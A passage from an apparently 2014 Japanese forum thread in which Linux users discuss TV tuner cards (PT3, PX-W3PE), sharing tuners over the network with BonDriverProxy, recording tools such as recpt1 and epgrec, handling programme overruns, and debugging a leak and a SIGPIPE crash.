外部にした方がいいんじゃなかろうか。
ま、それは感覚の問題だけど。
コメント1件

428
login:Penguin[sage]   投稿日:2014/06/23 12:23:34  ID:DN2vhIfe.net(5)
>427
> よくわからないんだけど、BonDriver_DVBができたら種類の異なるチューナを隠せるんかな。
> 例えば、PT3とFriioを持ってるとき、PT3が埋まってたらFriioを使うとか。

元々BonDriver層はPT3やFriioみたいに別のデバイスの差異を吸収するための物ですから、DVB対応かどうかは関係なく、
アプリからはチューナの差異は隠される事になります
しかしDVBによってそれらのデバイスが同じインタフェースで扱えるのなら、それのインタフェースに対応するだけで
複数デバイス対応のBonDriverになるので、その分開発の手間が減って助かるでしょうね

チューナが使われてるかどうかまで管理するかどうかは実装次第ですが、どっちかと言うとアプリ側に任せるのが普通です
ただこの場合、例えば録画アプリが使おうとしてるチューナを別プロセスが使ってしまうと録画失敗する事になるので、
そうならないようにのチューナ共有アプリのチャンネルロック設定です
#もっとも、チューナを使う全部のアプリが共有アプリ経由でアクセスしないと管理できませんが…
コメント1件

429
login:Penguin[sage]   投稿日:2014/06/23 12:32:08  ID:DN2vhIfe.net(5)
> スクランブルについては、法的問題以外に純粋に作りの話として、
> 外部にした方がいいんじゃなかろうか。
> ま、それは感覚の問題だけど。

その辺は当方もそう思ってます
一つの全部入りの大きなプログラムより、小さな専用ツールを組み合わせて使う方が、何かと小回りが利くので好きです

例えば今あるサンプルを特にいじらなくても、スクランブル解除して保存したいなら
$ ./sample -b ./BonDriver_Proxy-S0.so -s 0 -c 17 -t 60 | b25 -v 0 -p 0 /dev/stdin /path/to/file.ts
みたいな感じで行けますし、vlcにudpストリーミングしたいなら
$ ./sample -b ./BonDriver_Proxy-S0.so -s 0 -c 17 | b25 -v 0 -p 0 /dev/stdin /dev/stdout | nc -u 192.168.0.101 12345
で行けますね
#ncはudpでのこう言う用途に関しては微妙な気もしますが

録画やチャンネル変更用のアプリからは、こんな感じでサンプルに適切な引数付けて起動したり殺したりするだけで
良いワケですから、PTユーザに関しては、ある意味BonDriver対応は既に出来てると言えばできてますね…
#この例のままでは、クライアントが多数接続してくるとB-CASカードの処理能力の都合でデスクランブルが
#間に合わなくなる可能性はありますが
コメント1件

430
login:Penguin[sage]   投稿日:2014/06/23 15:51:20  ID:quj7m4zR.net(2)
>428
> チューナが使われてるかどうかまで管理するかどうかは実装次第ですが、どっちかと言うとアプリ側に任せるのが普通です
それについては、チューナ側がTest-and-Set的になっててほしい気がする。
コメントされてるとおり、アプリ同士で協調ってちょっと大変だし。
というか、デバイスアクセスの時点でそうならないんかな。
recpt1のソースなんか見ると、SET_CHANNELのioctlの時点でそれわかるみたいだし。

ただ、じゃあそれで使用中の場合次はどれを、というのはアプリでいいと思うんだけど。

>429
> 一つの全部入りの大きなプログラムより、小さな専用ツールを組み合わせて使う方が、何かと小回りが利くので好きです
まあ、Linux使いならそういうUNIX的感覚があるんじゃないかとか思ったり。
コメント1件

431
login:Penguin[sage]   投稿日:2014/06/23 17:21:34  ID:st9m78/+.net
なんか話が混ざっててややこしくなってるけど
アプリってのはBonDriverProxyのことじゃないの?

Spinelしか使ったことないけどBonDriverProxyがSpinel相当ならば
BonDriverProxy側で排他制御してくれるから全チューナーをBonDriverProxy通して使ってれば
録画、視聴アプリ側では排他制御は気にしなくてもいいでしょ
コメント1件

432
login:Penguin[sage]   投稿日:2014/06/23 19:27:50  ID:DN2vhIfe.net(5)
>430
ああ、大抵の実装ではあるデバイスがあるアプリから使用されているのを、別のアプリからオープンしようとすると
失敗するので、「試してみればわかる」のはまあ可能なんですが、録画失敗を避ける為にはそれじゃダメですよね
「チューナの録画での使用予定まで全アプリで協調して制御する」あるいは「使われてても強制的に奪う」事が必要になります
前者は多分無理なので、結局チューナへのアクセスは必ず何らかの管理機構を通して行い、その管理機構が後者の処理を
行うのが現実的、と言う事になります
例えばepgrecが、録画が始まるとリアルタイム視聴用に起動してたrecpt1を殺すとか、そう言う話ですね

チューナ共有アプリのチャンネルロック設定も効果としてはこれと似たような物ですが、プロセスごと殺すのではなく、
視聴用のクライアントからそのチューナのチャンネル制御権を奪うと言う物ですね(録画と視聴チャンネルが同じなら、
そのまま視聴が続けられます)

>431
> Spinelしか使ったことないけどBonDriverProxyがSpinel相当ならば
> BonDriverProxy側で排他制御してくれるから全チューナーをBonDriverProxy通して使ってれば
> 録画、視聴アプリ側では排他制御は気にしなくてもいいでしょ

これは(どのクライアントが録画用/視聴用かが正しく設定されていれば)その通りです

確かにBonDriver全般の話とチューナ共有ソフト(今の場合はBonDriverProxy)の機能の話が混ざっちゃってる気がしますね
Linuxユーザにはどちらもなじみの無い物かもしれないのでしょうがない部分もあるとは思いますが
コメント1件

433
login:Penguin[sage]   投稿日:2014/06/23 21:01:28  ID:v8soB1YB.net
>416
chardev→BonDriverの共通ラッパー書けば終わりやん(^_^)

434
login:Penguin[sage]   投稿日:2014/06/23 22:41:44  ID:UrqYkzjU.net
>423

設定ファイルのデバイスファイル名をpt1にするだけで
「PT2」でも動作しました。

#DEVICE=/dev/pt3video0 → #DEVICE=/dev/pt1video0
コメント1件

435
login:Penguin[sage]   投稿日:2014/06/24 15:49:44  ID:CGRN0YX5.net
>432
あーなるほど、録画失敗を避けるってのは録画の方を優先したいってことね。
わかるわかる。
それなら、fuserとかでプロセスわかるんだから同じ方法でなんとかなるんじゃなかろうか。
fuserが中で何やってるかよく知らないけど。

でもそれだと、使用中の誰かがリアルタイム視聴なのか録画なのかまではわからないか。
まあ、それについては今度こそアプリ側で
自分の管理対象プロセスかどうかチェックするってことでいいんじゃないかという気がする。
コメント1件

436
login:Penguin[sage]   投稿日:2014/06/24 16:41:22  ID:v2ma19RF.net
つまり、プロセスを殺せば良い。
コメント1件

437
login:Penguin[sage]   投稿日:2014/06/25 23:13:25  ID:alAbLvBn.net
recpt1 でちと気になったんだけど
coreライブラリに分かれた c9b1d21c5035 からかな、SID指定でTS保存すると字幕情報が取れてない気がするんだけど、みんなどう?
地上波だと PID 0x0114 あたりだと思うんだけど、
ffmpeg で確認するとPIDはあるんだけどtsselectするとパケット無いんだ
古い recpt1 に戻すとちゃんと出てくる
CSもPIDは違うんだけど字幕ないみたい
SID未指定のフルTSはまだ試してない

438
login:Penguin[sage]   投稿日:2014/06/26 00:27:04  ID:jxSnb/To.net
UNA版のhttpパッチを使ってるなら同梱されている削除PID追加パッチを適用してないか?

>3については通常の映像・音声の再生に支障が無いのを確認していますが無保証です。
>また字幕・5.1chなど私が必要としていないものについては何も検証していません。
コメント2件

439
login:Penguin[sage]   投稿日:2014/06/26 00:53:33  ID:S6+AoS75.net
>438
おお、完全に私の早とちりでした。
tssplitter-apnd.diff は当ててないつもりが当ててしまっていたようです。
c8688d7d6382 DLしなおして素のまま build したら平気でした。
ごめんなさい。ありがとうございます。

440
login:Penguin[sage]   投稿日:2014/06/26 19:10:45  ID:ctsx0K82.net(2)
>434
その辺はPT1/2とPT3のchardev版ドライバの開発者の方々が、インタフェース互換でつくってくれてるからですね

>435
>436
デバイスを使用しているプロセス列挙と、それらが行ってるのが録画なのか視聴なのかが判別できるのであれば
(やりようはいくらでも有るでしょう)、録画開始時に確認して、チューナが足りなければ視聴用プロセス殺せば
とりあえず用は足りますけどね

まあ結局のところ、チューナ共有にメリットを感じるかどうかは人それぞれでしょうから、現状困ってないし
わざわざ導入する事もねぇな、と言うのも一つの考え方として有りだと思います

441
login:Penguin[sage]   投稿日:2014/06/26 19:16:01  ID:ctsx0K82.net(2)
そう言えばここに書こうと思って忘れてたんですが、w3peとかのplexチューナ持ってる方、もし時間があったら
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux
のdevelopブランチの方のBonDriver_LinuxPTを試してみてもらえないでしょうか
上の方で書いた通り、対応簡単そうだったのでとりあえずコードだけは書いてみたんですが、
当方実機を持っておらず動作確認は出来ていないもので…
コメント3件

442
login:Penguin[sage]   投稿日:2014/06/26 22:31:25  ID:IGubDjYd.net(2)
健全でない言葉が含まれているため表示しません 内容を確認する
コメント1件

443
login:Penguin[sage]   投稿日:2014/06/26 23:41:20  ID:IGubDjYd.net(2)
排他制御とか録画優先とかはプロキシーにホストのIPとデバイスのIDで優先度つけたらどう?
niceみたいな感じでIPとデバイスIDごとに優先度をconfに書けば録画鯖のIPからのリクエストは
優先度の低いホストの接続を中断して切り替えちゃう
父ちゃんのホストはかーちゃんのホストより優先度が低いとか
デバイスの優先度は最優先のホストに対して決めておいて
優先度の低いホストからはデバイスの優先度も低い順に割り当てられる
切断する場合ホストの優先度>デバイスの優先度にしておいて
優先度の高いリクエストがきたら容赦なく切断されるで良いと思う

ついでに希望としては昔あったVirtualPTみたいに
チューナー共有サーバ形式でクライアント側のBonDriverは
UHF/BS/CS全部を仮想化したチューナとしてサーバと通信する
サーバ側はクライアントのリクエストを空きチューナに
ホスト/デバイスの優先度順で割り付けるとかできるともっと良いなぁ
クライアントのドライバはBondriverとしての
インターフェイスとサーバと通信する機能だけで
サーバ側は共有制御部分と実デバイスのドライバに分かれる感じで
今はUHF/BS/CSごとにチューナーとドライバをセットで指定してるので
クライアントドライバからは実際のデバイスを隠蔽できる方が録画サーバも作りやすいんじゃないか?

444
login:Penguin[sage]   投稿日:2014/06/27 06:31:04  ID:6gm02sDZ.net
>442-443
PT2+Spinelの分の機能をホスト側に移動したいと言う事ですね
それなら可能だと思います
ただし、BonDriverProxy自体はデスクランブル機能は持っていないので、それに関してはそれぞれのクライアント側で
行う必要があります
#そこに関しては、各クライアントにB-CASカード用意するなり、B-CASカードの処理能力的に大丈夫な範囲で
#BonCasLink等でまとめるなりして下さい

> 排他制御
これに関しては、現在(クライアント側の自己申告で)チャンネルロック権を持つか持たないかの二値だけで制御しています
個人的な要件として、録画用クライアントに確実にチャンネルロック権を持たせる事が出来る事のみが重要だったので
それで事足りているのですが、段階的な優先度の設定も実装するのは多分そんなに面倒ではないと思うので、
必要そうなら考えてみます
#なお、本来的には自己申告でなくサーバ側で設定を持つのが筋ですが、確実に設定が煩雑になってしまうので躊躇してます

> VirtualPT
当方シンプルなのが好みだったので、サーバ側とクライアント側のBonDriverは(機能的には)一対一対応なのをまずつくったのですが、
確かにVirtualPTみたいな制御がしてほしいて声も結構あったので、サーバ側をフォークしてBonDriverProxyExとして公開してます
気が向いたらこっちも移植すれば良いのかな…
チューナの仮想3波化は、BonDriver_RDCTと言うのがソース含めて公開されてるので、上記BonDriverProxyExのクライアントに
設定したBonDriver_Proxyをそれ経由で使えば、要望されてる機能は大体可能かと思いますよ

445
391[sage]   投稿日:2014/06/29 04:54:52  ID:NiUCYq/U.net(3)
空気読まずに投下

destroy_queue(p_queue);
をいきなり叩いているのが原因ですね。
p_queue->buffer がリークしている。

暫定パッチ作ったけど欲しい?
夜中の変な勢いで書いたものだけど。
コメント1件

446
login:Penguin[sage]   投稿日:2014/06/29 06:34:25  ID:NWynDbUH.net
いらねえよ!

447
login:Penguin[sage]   投稿日:2014/06/29 09:12:09  ID:Y8Pe/3cq.net(2)
>445
ください!
コメント1件

448
login:Penguin[sage]   投稿日:2014/06/29 13:01:42  ID:U7BI4yqJ.net(2)
質問です。

chinachuで深夜3:05-5:05の番組を録画予約しました。
ところが直前のサッカー中継が延長され、見たい番組は録画できませんでした。

質問1: chinachuは延長未対応という認識で合っていますか?

質問2: Linux(debian)で使えるソフトで延長に対応しているものはありますか?

初心者質問で申し訳ありませんが、よろしくお願いします。
コメント1件

449
login:Penguin[sage]   投稿日:2014/06/29 13:24:23  ID:NiUCYq/U.net(3)

450
login:Penguin[sage]   投稿日:2014/06/29 13:50:59  ID:NiUCYq/U.net(3)
>449
ごめんなさい。コンパイル通らないものをアップロードしました。
こちらをご利用ください。

http://www1.axfc.net/u/3269120
コメント2件

451
login:Penguin[sage]   投稿日:2014/06/29 14:10:04  ID:z6oWkA97.net
>445
ついでだから切断後シグナルマスク戻さないからSIGKILLしなきゃならんバグも直してよ

452
login:Penguin[sage]   投稿日:2014/06/29 14:11:52  ID:Y8Pe/3cq.net(2)
>450
ありがとうございます〜!

453
login:Penguin[sage]   投稿日:2014/06/29 14:46:34  ID:j+vHdLLp.net
>450
修正ありがとうございます。
つまらないことでスルーして貰って結構なんですが、こういうのはdestroyで一緒にやる方が良いんじゃないでしょうか。

454
login:Penguin[sage]   投稿日:2014/06/29 16:12:34  ID:IV5o2OlC.net
>448
まだそういう認識で合ってると思うよ
現状EPG解析はepgdumpでやってるから録画時にリアルタイムで更新できないはず
複数チューナかつ運が良ければ間に合うかもしれないけど。
SI解析も実装する予定でいるらしいが(ポシャった?)
あれをNodeに実用レベルで載せられるかどうか…
コメント1件

455
448[sage]   投稿日:2014/06/29 18:31:24  ID:U7BI4yqJ.net(2)
>454
ありがとうございます。
延長に対応していないのは残念ですがわかりました。

Schedulerログによるとchinachuは1時間ごとに予約を更新しますが、
録画中や深夜1時から朝5時までは更新を休むようです。
(チューナーはPT2×1+PT3×1)

456
login:Penguin[sage]   投稿日:2014/06/29 18:49:46  ID:ReMJfVhg.net
放送時間の延長に対応するには、一般的に、
読み取った内容を解析すること(スクランブル解除を含む)の他に
単純な録画している時間を、実行中に変化させることができなければいけない

要は、recpt1ctlに相当する機能をすべてのrecxxxに持たせなければいけないということ
例えば、recfsusb2nctl、といったものを個別に作る必要がある


こういう点を考えれば、インターフェースを統一してすべてを同じ操作で扱える
bondriver形式にもメリットがある
windows上でいろいろ揉まれた結果でもあるし
さらにspinnel的な扱いが出来ればより良いだろうけどね
コメント1件

457
login:Penguin[sage]   投稿日:2014/06/29 21:15:30  ID:NGSA/MjH.net
PX-W3PE って Ubuntu 14.04 64bit 3.13.0-30-generic で使えます?
>441読んで試して見ようと思ったのだけど。

http://www.plex-net.co.jp/product/pxw3pe_download.html
からドライバダウンロードして readme.txt 読んでみたけどRelease note
のみでインストール方法や対応ディストリの記述はないです。

insmodはダメでした。
sudo insmod ./asv5220_dtv.ko
insmod: ERROR: could not insert module ./asv5220_dtv.ko: Invalid module format

対応カーネルバージョン以下の様です。
modinfo ./asv5220_dtv.ko
vermagic: 2.6.32-279.5.1.el6.x86_64 SMP mod_unload modversions

カーネルバージョンで検索するとCentOS6とか出てくるのでRed Hat系?
コメント1件

458
login:Penguin[sage]   投稿日:2014/06/30 00:07:13  ID:abQ5XaIy.net
>450
パッチをみてみたらepgrecUNAの所で配布してるのと構造が違うので調べてみたらRC4か新本家にRC4をそのまま移植したやつ用か・・・

459
login:Penguin[sage]   投稿日:2014/06/30 00:58:16  ID:bRxCtVkq.net
そういえばUNA版は延長対応してなかったっけ?
コメント1件

460
login:Penguin[sage]   投稿日:2014/06/30 01:26:08  ID:dfg1knvX.net(2)
もうこんなことは辞めてレコーダー買おう

461
login:Penguin[sage]   投稿日:2014/06/30 02:02:33  ID:8CwJEBXv.net
DVB版でも dvb_appsの録画ツール(gstreamer + python)は一応延長対応のはず ( >39 )

462
login:Penguin[sage]   投稿日:2014/06/30 02:10:06  ID:6mosU4bC.net(2)
>459
録画中の番組の延長は知らんけど、
開始前の予約は録画開始前にEIT[p/f]をチェックして追随するようにはなってる。

463
login:Penguin[sage]   投稿日:2014/06/30 03:14:31  ID:DwN01oO6.net(2)
まさかレコーダーを買えないからやってるの?
レコーダーごときを?
コメント3件

464
login:Penguin[sage]   投稿日:2014/06/30 03:23:27  ID:6mosU4bC.net(2)
金の話ならレコーダ買う方がよっぽど安上がりだろ

465
login:Penguin[sage]   投稿日:2014/06/30 07:17:42  ID:7ocuUzw7.net
>463
違うからもう来んな

466
login:Penguin[sage]   投稿日:2014/06/30 07:19:18  ID:dfg1knvX.net(2)
>463
じ、じつはそうなんです、、、Orz=3ブッ

467
login:Penguin[sage]   投稿日:2014/06/30 09:06:48  ID:MA99xvB1.net(2)
>457
プレクのドライバはubuntuはダメだったはず
今まで報告されてる使ってみた事例は全部CentOSだと思う
コメント1件

468
login:Penguin[sage]   投稿日:2014/06/30 09:22:39  ID:ujPq+PnL.net
>456
細かいことだけど、EIT見るのにはスクランブル解除は要らんのでは?

469
login:Penguin[sage]   投稿日:2014/06/30 11:23:18  ID:f61EEGBP.net
>463
買ったレコーダーがたまに録画失敗するクソだったんで信用しないことにしました

470
login:Penguin[sage]   投稿日:2014/06/30 15:48:14  ID:THsPIyp+.net(2)
放送時間延長とかイベントリレーは対応めんどくさそうだよね

まず最低限、epgrecとかの録画管理ツールからrecpt1とかの実際の録画ツールに録画設定の変更を伝える
しくみが必要で(recpt1に関しては、recpt1ctlが使えるからここはクリアしてるけど)、
その上で録画管理ツールが延長やイベントリレーの監視と、それらに該当すると判断した場合には、
それを録画ツールに指示するなり新たな録画予約を追加するなりする必要がある

さらに、他の録画予約が入っててチューナーに空きが無い場合はどうするかとかの設定ができる必要もあるだろうし、
録画ツール側はともかく、録画管理ツール側でやらなきゃダメな事がかなり多い

正直epgrecいじって対応しようとするくらいなら、EpgTimerSrv移植とかした方が早いかも
コメント2件

471
login:Penguin[sage]   投稿日:2014/06/30 18:20:04  ID:Z2o/PPr0.net
>470
epgrecUNAは録画中でもEPGが更新されれば時間を延長してくれる
まあ中の人にスポーツにたいする愛が無いようなので完全自動ではないし他Chの予約と重複するとやめちゃうみたいだけどw
コメント1件

472
login:Penguin[sage]   投稿日:2014/06/30 18:23:12  ID:aPcosLFk.net
>467

やっぱりUbuntuだとダメなのか。

CentOS6.4での導入事例があったのでCentOSでトライしてみるよ。

http://www2.filewo.net/wordpress/2014/02/05/centos6-4%E3%81%A8px-w3p...
コメント2件

473
login:Penguin[sage]   投稿日:2014/06/30 20:47:20  ID:THsPIyp+.net(2)
>471
見てみた
イベントリレーはまあ置いておくとして、なるほど、延長する可能性のある番組の後番組の頭だけ予約を入れておいて
EPGの更新を確認する、か
少し面倒ではあるけど、全く対応してないのと比べたら全然マシだね

そこが自動化されたらだいぶ使い勝手良くなりそうだけど、対象の番組を録画してるのとは違うチューナーを使って
EPGの更新確認する関係上、難しいかなぁ
録画ツールを改造して、指定録画時間の最後数分になったらEPG更新用に録画とは別ファイルにも出力とかすれば行けそう?

チューナー共有されてる状態なら、普通に番組録画してるチューナーを共有して使えば良いから話は簡単なんだけど・・・
つーかrecpt1をbondriver使えるように改造すればいいのか?

474
login:Penguin[sage]   投稿日:2014/06/30 21:12:44  ID:DwN01oO6.net(2)
すみません。
epgrecUNAのログって、リセットすることはできないでしょうか。
誤ってすごくありふれたキーワードを自動録画ワードにしてしまったので、削除したのですが、大量に予約追加と削除のログが残ってしまいました。
ログを開くたびに、数秒くらい待たされてしまうので、なんとかまっさらにしたいのですが。
コメント1件

475
login:Penguin[sage]   投稿日:2014/06/30 21:59:03  ID:MA99xvB1.net(2)
>472
ソースは非公開でCentOS用のバイナリだけしか公開しないんなら、
Linux用じゃなくてCentOS用ってちゃんと書けよって思うよね
modinfoではライセンスGPLって表示されるくせにソースは公開してくれないみたいだし、
会社としていろいろと雑な印象

476
login:Penguin[sage]   投稿日:2014/07/01 00:08:54  ID:F+DeUV5E.net
> modinfoではライセンスGPLって表示されるくせにソースは公開してくれない

雑って言うかそれライセンス違反じゃん

477
login:Penguin[sage]   投稿日:2014/07/01 01:08:46  ID:sI+XcYWl.net
ソースの請求先がわかりにくくちっさく書いてて
請求しても音沙汰なしっていうケースはよく聞く

478
login:Penguin[sage]   投稿日:2014/07/01 02:06:00  ID:QUQSWhvI.net
>474
TRUNCATE TABLE
コメント1件

479
login:Penguin[sage]   投稿日:2014/07/01 10:52:56  ID:Zy9veG3Z.net
>470
放送が後ろにずれる場合であれば、
録画用のプロセス(recpt1とか)の起動にスクリプトか何かかませて、
EIT見て適当に眠ってくれるコマンド呼んだ後に録画開始するようにすれば、
ってのはだめ?

チューナの管理はまた別に考えないといけないかもしれないけど。
コメント1件

480
login:Penguin[sage]   投稿日:2014/07/01 18:39:53  ID:e6olk3A5.net
>479
単に後ろにずれるだけならそれで良いと思う
確かepgrecUNA版がやってるのもそれだったんじゃないかね

481
login:Penguin[sage]   投稿日:2014/07/01 18:41:10  ID:Raq5LBsF.net
お手軽インターフェイスのパッケージをお願いします

482
login:Penguin[sage]   投稿日:2014/07/01 20:47:09  ID:ezxEUewa.net
チューナーの空きを意識しつつEPGを更新して録画をやってくれるプログラムがあるといいわけかw。

483
login:Penguin[sage]   投稿日:2014/07/02 01:07:53  ID:M5XTVbsQ.net
>441

下のような構成でPX-W3PEを試してみました。
動作しますね。

・サーバー
CentOS 6.5 64bit (2.6.32-431.20.3.el6.x86_64)
PX-W3PE V1.2 (PX-W3PE_LinuxDriver_ver.1.0.0.zip 64bit asv5220_dtv.ko)
BonDriverProxy + BonDriver_ProxyPT.so (develop branch)

・クライアント
Windows8.1
TVTest + BonDriver_Proxy.dll

ただ、1チューナーに2接続以上すると不安定になる感じです。
TVTestが固まりサーバーでPacket Queue OVERFLOWが多量に出力され
しばらくするとBonDriverProxyが終了してます。
接続クライアント数に応じてFifoやQueueサイズを変更するってことですかね?
コメント4件

484
login:Penguin[sage]   投稿日:2014/07/02 09:59:48  ID:cRaNnxwL.net
素人質問で申し訳ないですけど、
このスレでいうLinuxというのは、CentOSと思っていいのですか?
他のデストリビューションでは動きませんか?

485
login:Penguin[sage]   投稿日:2014/07/02 10:07:17  ID:zT0wTg+q.net
がんばれば動くと思うけど。
W3PEの場合、CentOSのが動作報告多いってだけ(というか>472辺りの話?)でね?
Chinachuは一応推奨がUbuntuだったりするし。
コメント2件

486
login:Penguin[sage]   投稿日:2014/07/02 10:22:42  ID:AO9c6Mvs.net
>478
遅ればせながらありがとう。
でも、その他にもいろいろうまく行かないところとかあって、結局DB作成しなおしてしまいました。
みんなはログ膨れ上がったらmysql操作して消してるの?

487
login:Penguin[sage]   投稿日:2014/07/02 12:36:53  ID:eMEK3G9M.net
>485
レスどうもです
しかしLinuxはよく分からんなぁ
動いたり動かなかったりラジバンダリ

488
login:Penguin[sage]   投稿日:2014/07/02 12:46:01  ID:/3ZW/MrB.net(2)
>483
おお、ありがとうございます
3wpeの初期化は、一応はうまく行ってると言う事でしょうか…

> ただ、1チューナーに2接続以上すると不安定になる感じです。
> TVTestが固まりサーバーでPacket Queue OVERFLOWが多量に出力され
> しばらくするとBonDriverProxyが終了してます。
> 接続クライアント数に応じてFifoやQueueサイズを変更するってことですかね?

ありゃ
ウチでUbuntu 14.04 + PT3使って動かしてる分には、キューサイズ等は全部デフォルトのままで1チューナへの
複数接続(チューナ共有)の場合も含めて特に問題なく動いてるので、plexチューナ特有の何かでしょうか…?
ただ、大量の"Packet Queue OVERFLOW"はおそらくサーバからクライアントへのTSストリームを、クライアントが
読み出さない状態が続いた結果だと思うので、その辺を考えると、ネットワーク絡みの何かにも見えますね
#プロセスが終了するのはちとわかりませんが、上記の件の絡みで最終的にメモリ確保に失敗して…とかの線でしょうか

一応の確認ですが、1チューナに2接続以上と言うのは、CentOS上の同じBonDriver_ProxyPT.soをリクエストする
TVTest + BonDriver_Proxy.dllを複数起動したと言う事ですよね?
コメント2件

489
login:Penguin[sage]   投稿日:2014/07/02 12:52:18  ID:/3ZW/MrB.net(2)
>483
あ、それから、もしWindowsでもチューナとそれにアクセスするBonDriverが使用できる状態であれば、良ければ以下を
試してみていただけないでしょうか?
1. WindowsとLinuxでそれぞれBonDriverProxy(サーバプロセス)を動かす
2. Windows上のTVTest + BonDriver_Proxy.dllからLinux側のサーバプロセスに対してBonDriver_Proxy.soをリクエスト
3. Linux上のBonDriver_Proxy.soはWindows側のサーバプロセスに対してチューナにアクセスするBonDriverをリクエスト
つまり、Windowsから一旦Linuxを経由して結局Windowsのチューナを使用しているだけですが、意図としては、
これが問題なく動くかどうかである程度の問題の切り分けができそうかな、と言うものです
#これに関しては、当方ではHyper-V上のCentOS 6.5で特に問題なく動作する事を確認しています
コメント2件

490
login:Penguin[sage]   投稿日:2014/07/02 15:14:41  ID:OZyIazCq.net
>485
epgrecUNA版もdebian系向けだった気がする

491
login:Penguin[sage]   投稿日:2014/07/03 00:07:17  ID:LQRgd6Tw.net(2)
>488

>483で1チューナーに2接続上と書いたのは、書いたときには正確な個数が
よくわからなかったからでして、動作確認として、TVTestを1個起動し、S0,S1,
T0,T1とBonDriver(チューナー)を切り替えて表示させると特に問題なく表示して
くれたので、嬉しくなってTVTestを1個、2個…と追加で起動していくうちに起こっ
たので何個からか良くわからなかったのです。まあ、最低2接続以上だろうという
ことで書いたのですが…。

(1)ノートPCで無線LAN(>483の場合)

クライアントはノートPCで無線LANを挟んでいます。

クライアント : ノートPC (Windows + TVTest + BonDriver_Proxy_W3PE_S0.dll)
--- 無線LAN --- ルーター --- 有線LAN ---
サーバー : デスクトップPC (CentOS + BonDriverProxy + BonDriver_LinuxPT_W3PE_S0.so + PX-W3PE)

【ネットワーク絡みの何か】というのであれば見るからに無線LANが飽和しそう
です。それなら、転送量の多いBSをどんどん起動していけばそのうち起きそうです。
実際にやってみた所、BS4個目からTVTestの表示が壊れ始め、Packet Queue OVERFLOWの
メッセージが表示されました。推察どおりネットワークの問題で同一チューナー2接続
以上とか関係なかったです。

(2)デスクトップPCで有線LAN

だったらということで、クライアントをデスクトップPCにしCPUパワーをあげて
かつ有線LANでネットワークを安定させてみたところTVTestを7個程度起動して
もきちんと表示してくれました。ですので、間違いなくネットワークの問題で
PX-W3PEは関係ないです。さらに追加でPT3をサーバーに差して確認してみま
したが同じ結果でした。
コメント1件

492
login:Penguin[sage]   投稿日:2014/07/03 01:34:01  ID:LQRgd6Tw.net(2)
>488

(3)BonDriverProxyプロセスの終了

再度確認したのですが、Packet Queue OVERFLOWのメッセージが
表示された後しばらくするとBonDriverProxyが終了するのではなく、
連続してTVTestを起動すると、最後に起動したTVTestがハングアップ
状態になります。そうするとメッセージが表示されます。ハングアップ
状態のTVTestを除いて、動作していそうなTVTestのうちどれか1個を
終了させると、同時にBonDriverProxyのプロセスが終了するという
挙動でした。

-g オプション付加して再コンパイル gdb上で実行、上の手順でプロ
セスが終了した際の出力です。

Program received signal SIGPIPE, Broken pipe.
[Switching to Thread 0x7fffd35fe700 (LWP 31499)]
0x000000315d00ecdc in send () from /lib64/libpthread.so.0
(gdb) backtrace
#0 0x000000315d00ecdc in send () from /lib64/libpthread.so.0
#1 0x0000000000401db5 in cProxyServer::Sender (pv=0x607b70) at BonDriverProxy.cpp:632
#2 0x000000315d0079d1 in start_thread () from /lib64/libpthread.so.0
#3 0x000000315cce8b5d in clone () from /lib64/libc.so.6

こんな感じの挙動かなあと思ったりはしたのですが。
http://d.hatena.ne.jp/y-hamigaki/20070709#1183982184

>489は後日確認してみます。

493
login:Penguin[sage]   投稿日:2014/07/03 13:18:45  ID:a1vOG2RQ.net
>491-492
詳しい確認ありがとうございます
どうやらネットワーク側の問題だったと言うところまで確認できたのなら>489はもう必要なさそうです
w3pe対応に関しては大丈夫そうとの事で、developからmasterにマージしようかと思います

ネットワーク容量に関しては、BonDriverProxyの場合、デフォルトではTSストリームを定常送信している時
188*1024バイト(TSパケットのバッファサイズ)毎に16バイトのオーバヘッドが付く様になっています
なので、トラフィックの殆どがTSストリーム自身の物なのですが、それでもBSでは1TSストリームで24Mbpsとかになるので、
多数のストリームを送信すると無線では厳しくなってしまいますね

サーバプロセスが死ぬ件は、そのログから確かにSIGPIPEを無視してないからのようです
#元々Windows版からの移植なので対応忘れてました(;´Д`)
今グローバルなロック掛けてる処理をBonDriverのインスタンス毎に分ける形に変更してるところなので、
それと一緒に対応する事にしますね
コメント1件

494
login:Penguin[sage]   投稿日:2014/07/03 14:36:00  ID:PkrsOdjH.net
Windows⇔Unix移植でシグナル関係はマジで鬼門…

495
login:Penguin[sage]   投稿日:2014/07/05 16:11:30  ID:W/F+l3Z5.net
px-q3pe / CentOS 6.5 で 安定動作中。素晴らしいな。

>441
plex.cpp (´▽`)アリガト!
コメント1件

496
login:Penguin[sage]   投稿日:2014/07/05 22:57:47  ID:dQ8aHTrO.net
>495
おお、plex.cppのq3peでの動作確認していただけたと言う事でしょうか
#recpt1で使用とかでしょうか?
お役に立ったのなら何よりです

なお>493の件、対応完了しております
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux

497
login:Penguin[sage]   投稿日:2014/07/09 01:33:08  ID:cvRDG/nS.net
PX-W3PEをwindowsで使っています
Windowsだと内臓ブースターの感度調整ができますが、foltia anime lockerでもできますか?

498
login:Penguin[sage]   投稿日:2014/07/09 02:08:23  ID:ARuOD0a6.net
debian系で動かぬとは…

499
login:Penguin[sage]   投稿日:2014/07/09 02:18:52  ID:xu7Dt0I9.net
unknownさん
confファイルのPACKET_FIFO_SIZE,TS_FIFO_SIZE,TSPACKET_BUFSIZEを変更すると具体的に何がどんな感じで変わりますか?
https://github.com/u-n-k-n-o-w-n/BonDriverProxy_Linux/blob/maste...#L15-17
TS Queue OVERFLOW : size[64]と出力されます。
コメント1件

500
login:Penguin[sage]   投稿日:2014/07/09 20:10:01  ID:GgPhQLZW.net(3)
>499
TSPACKET_BUFSIZEはTSストリームをTSキューに放り込む際の一単位のサイズです
TSストリームをデバイスから読み出して、そのサイズまでバッファリングしてから一つのTSデータ用パケットとして
クライアントモジュールに送信します

PACKET_FIFO_SIZEは上記のTSデータ用パケットを含めた通信プロトコルのコマンドパケットのキューサイズです
#普通の使い方をする限り、定常送信中は全部がTSデータ用パケットになるでしょう

TS_FIFO_SIZEは、クライアントモジュールはTSデータ用パケットを受け取ったらTSキューに放り込んでいきますが、
それがアプリケーションに読み出されるまでの間保持しておくためのキューのサイズです
TSPACKET_BUFSIZE * TS_FIFO_SIZEがクライアント側モジュールでTSデータ用に保持される最大バッファサイズです
コメント2件

501
login:Penguin[sage]   投稿日:2014/07/09 20:14:02  ID:GgPhQLZW.net(3)
>500の続きです

